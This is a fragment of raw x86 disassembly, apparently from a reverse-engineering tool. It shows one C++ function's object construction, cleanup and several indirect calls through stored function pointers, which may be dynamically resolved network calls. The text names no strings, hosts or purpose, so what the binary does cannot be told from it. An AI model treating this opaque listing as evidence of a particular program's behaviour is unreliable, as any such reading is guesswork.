lea ecx, [ebp - 0x5130]
call fcn.00401b70
mov byte [ebp - 4], 0x50
lea ecx, [ebp - 0x54dc]
call fcn.00401bb0
push 0x20
lea ecx, [ebp - 0x5130]
call fcn.00401c50
push eax
lea ecx, [ebp - 0x5114]
call fcn.0040e440
mov byte [ebp - 4], 0x51
lea ecx, [ebp - 0x54e4]
push ecx
lea ecx, [ebp - 0x5114]
call fcn.0040e540
mov edx, dword [eax + 4]
push edx
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x54ec]
push ecx
lea ecx, [ebp - 0x5130]
call fcn.0040f4c0
mov edx, dword [eax + 4]
push edx
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x54f4]
push ecx
lea ecx, [ebp - 0x5130]
call fcn.0040f490
mov edx, dword [eax + 4]
push edx
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x54fc]
push ecx
call fcn.0041a280
add esp, 0x1c
lea ecx, [ebp - 0x5114]
call fcn.0040e5e0
mov dword [ebp - 0x5134], eax
mov byte [ebp - 4], 0x52
push 0
push 0x84000000
push 0xffffffffffffffff
mov edx, dword [ebp - 0x5134]
push edx
mov eax, dword [ebp - 0x4f40]
push eax
mov ecx, dword [ebp - 0x94]
push ecx
call dword [ebp - 0x84]
mov dword [ebp - 0x5734], eax
mov edx, dword [ebp - 0x5734]
mov dword [ebp - 0x80], edx
jmp 0x40c6dd
mov dword [ebp - 4], 0x51
cmp dword [ebp - 0x80], 0
jne 0x40ca5e
mov eax, dword [ebp - 0x55c8]
movzx ecx, byte [eax + 0x78]
test ecx, ecx
je 0x40c8cc
mov byte [ebp - 4], 0x58
push 0
push 0x84000000
push 0xffffffffffffffff
mov edx, dword [ebp - 0x5134]
push edx
mov eax, dword [ebp - 0x4f40]
push eax
mov ecx, dword [ebp - 0x94]
push ecx
call dword [ebp - 0x84]
mov dword [ebp - 0x574c], eax
mov edx, dword [ebp - 0x574c]
mov dword [ebp - 0x80], edx
jmp 0x40c802
mov dword [ebp - 4], 0x51
cmp dword [ebp - 0x80], 0
jne 0x40c8cc
push 0x24
lea ecx, [ebp - 0x5560]
push ecx
lea edx, [ebp - 0x78]
push edx
lea ecx, [ebp - 0x3c]
call fcn.0040fe10
mov eax, dword [eax]
call eax
add esp, 8
mov dword [ebp - 0x5764], eax
mov ecx, dword [ebp - 0x5764]
mov dword [ebp - 0x5768], ecx
mov byte [ebp - 4], 0x5e
mov edx, dword [ebp - 0x5768]
push edx
lea ecx, [ebp - 0x5188]
call fcn.00401b70
mov byte [ebp - 4], 0x60
lea ecx, [ebp - 0x5560]
call fcn.00401bb0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x5564], esp
push 0x44c530
call fcn.00401ad0
mov dword [ebp - 0x576c], eax
mov eax, dword [ebp - 0x576c]
mov dword [ebp - 0x5770], eax
mov byte [ebp - 4], 0x61
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x5568], esp
lea edx, [ebp - 0x5188]
push edx
call fcn.00401b70
mov dword [ebp - 0x5774], eax
mov byte [ebp - 4], 0x60
mov ecx, dword [ebp - 0x55c8]
call fcn.0040e230
mov byte [ebp - 4], 0x51
lea ecx, [ebp - 0x5188]
call fcn.00401bb0
cmp dword [ebp - 0x80], 0
jne 0x40ca5e
mov eax, dword [ebp - 0x94]
push eax
call dword [ebp - 0x7c]
push 0x2e
lea ecx, [ebp - 0x5584]
push ecx
lea edx, [ebp - 0x78]
push edx
lea ecx, [ebp - 0x3c]
call fcn.0040fe10
mov eax, dword [eax]
call eax
add esp, 8
mov dword [ebp - 0x5778], eax
mov ecx, dword [ebp - 0x5778]
mov dword [ebp - 0x577c], ecx
mov byte [ebp - 4], 0x62
mov edx, dword [ebp - 0x577c]
push edx
lea ecx, [ebp - 0x51a4]
call fcn.00401b70
mov byte [ebp - 4], 0x64
lea ecx, [ebp - 0x5584]
call fcn.00401bb0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x5588], esp
push 0x44c534
call fcn.00401ad0
mov dword [ebp - 0x5780], eax
mov eax, dword [ebp - 0x5780]
mov dword [ebp - 0x5784], eax
mov byte [ebp - 4], 0x65
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x558c], esp
push 0x44c538
call fcn.00401ad0
mov dword [ebp - 0x5788], eax
mov ecx, dword [ebp - 0x5788]
mov dword [ebp - 0x578c], ecx
mov byte [ebp - 4], 0x66
sub esp, 0x1c
mov edx, esp
mov dword [ebp - 0x5590], esp
push 0x44c53c
lea eax, [ebp - 0x51a4]
push eax
push edx
call fcn.0041a360
add esp, 0xc
mov dword [ebp - 0x5790], eax
push 0
mov byte [ebp - 4], 0x64
mov ecx, dword [ebp - 0x55c8]
call fcn.0040ce90
mov dword [ebp - 0x5594], 0
mov byte [ebp - 4], 0x51
lea ecx, [ebp - 0x51a4]
call fcn.00401bb0
mov byte [ebp - 4], 0x50
lea ecx, [ebp - 0x5114]
call fcn.0040e4c0
mov byte [ebp - 4], 0x38
lea ecx, [ebp - 0x5130]
call fcn.00401bb0
mov byte [ebp - 4], 0x32
lea ecx, [ebp - 0x4f0c]
call fcn.0040e4c0
mov byte [ebp - 4], 0x31
lea ecx, [ebp - 0x4f5c]
call fcn.0040e4c0
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0x4fc4]
call fcn.00401bb0
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x4f3c]
call fcn.00401bb0
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x4ef0]
call fcn.00401bb0
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x4f90]
call fcn.00401bb0
mov dword [ebp - 4], 0x51
mov eax, 0x40caec
ret
mov byte [ebp - 4], 0x50
lea ecx, [ebp - 0x5114]
call fcn.0040e4c0
mov byte [ebp - 4], 0x38
lea ecx, [ebp - 0x5130]
call fcn.00401bb0
mov byte [ebp - 4], 0x32
lea ecx, [ebp - 0x4f0c]
call fcn.0040e4c0
mov byte [ebp - 4], 0x31
lea ecx, [ebp - 0x4f5c]
call fcn.0040e4c0
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0x4fc4]
call fcn.00401bb0
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x4f3c]
call fcn.00401bb0
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x4ef0]
call fcn.00401bb0
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x4f90]
call fcn.00401bb0
mov dword [ebp - 4], 0x51
mov eax, 0x40caea
ret